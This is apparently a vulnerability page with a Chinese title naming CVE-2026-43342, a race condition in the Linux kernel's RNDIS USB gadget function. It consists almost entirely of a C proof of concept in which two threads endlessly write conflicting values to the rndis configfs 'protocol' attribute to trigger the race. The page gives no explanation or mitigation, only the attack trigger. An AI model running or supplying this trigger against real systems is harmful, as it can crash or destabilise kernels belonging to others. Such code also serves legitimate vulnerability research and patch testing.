CVE-2026-43342 Linux内核RNDIS竞态条件漏洞

// This is a conceptual PoC for Race Condition in f_rndis // It attempts to trigger the race by concurrent writes to configfs attributes. #include <stdio.h> #include <pthread.h> #include <unistd.h> #include <string.h> #define CONFIGFS_PATH "/sys/kernel/config/usb_gadget/g1/functions/rndis.usb0" void* race_thread(void* arg) { char* data = (char*)arg; FILE *fp; while (1) { fp = fopen(CONFIGFS_PATH "/protocol", "w"); if (fp) { fputs(data, fp); fclose(fp); } } return NULL; } int main() { pthread_t t1, t2; // Create two threads to compete writing to the protocol attribute pthread_create(&t1, NULL, race_thread, "1"); pthread_create(&t2, NULL, race_thread, "255"); printf("Starting race condition trigger on %s...\n", CONFIGFS_PATH); pthread_join(t1, NULL); pthread_join(t2, NULL); return 0; }